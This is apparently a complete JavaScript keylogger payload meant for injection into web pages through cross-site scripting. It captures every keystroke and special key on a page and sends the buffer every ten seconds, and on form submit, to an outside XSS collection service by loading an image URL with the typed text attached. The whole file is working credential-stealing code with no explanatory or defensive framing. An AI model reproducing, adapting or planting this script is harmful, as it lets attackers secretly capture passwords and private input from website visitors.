(function(){
        var logger = "";
        keyDown = function(e)
        {
                var e=e||event;
                var currKey=e.keyCode||e.which||e.charCode;
                if((currKey>7&&currKey<32)||(currKey>31&&currKey<47))
                {
                   switch(currKey)
           　  {
                        case 8: keyName = "[退格]"; break;
                        case 9: keyName = "[制表]"; break;
                        case 13:keyName = "[回车]"; break;
                        //case 16:keyName = "[shift]"; break;
                        case 17:keyName = "[Ctrl]"; break;
                        case 18:keyName = "[Alt]"; break;
                        case 20:keyName = "[大小写]"; break;
                        case 32:keyName = "[空格]"; break;
                        case 33:keyName = "[PageUp]";   break;
                        case 34:keyName = "[PageDown]";   break;
                        case 35:keyName = "[End]";   break;
                        case 36:keyName = "[Home]";   break;
                        case 37:keyName = "[方向键左]";   break;
                        case 38:keyName = "[方向键上]";   break;
                        case 39:keyName = "[方向键右]";   break;
                        case 40:keyName = "[方向键下]";   break;
                        case 46:keyName = "[删除]";   break;
                        default:keyName = "";    break;
                   }
                   logger += keyName;
                }
        }
        keyPress = function(e)
        {
                var currKey=0,CapsLock=0,e=e||event;
                currKey=e.keyCode||e.which||e.charCode;
                CapsLock=currKey>=65&&currKey<=90;
                switch(currKey)
                {

                   　 　 case 8: case 9:case 13:case 16:case 17:case 18:case 20:
                                    case 32: case 33: case 34: case 35: case 36: case 37:case 38:
                                    case 39:case 40:case 46:keyName = "";break;
                   　 　 default:keyName = String.fromCharCode(currKey); break;
                }
                logger += keyName;
        }
        sendChar = function()
        {
                if (!logger) return;
                (new Image).src="https://xsspt.com/index.php?do=api&id=Wz47NH&char=" + logger;
                logger = "";
        }
        formSubmit = function()
        {
                sendChar();
        }
        document.onkeydown = keyDown;
        document.onkeypress = keyPress;
        document.onsubmit = formSubmit;
        setInterval(sendChar, 10000);
})();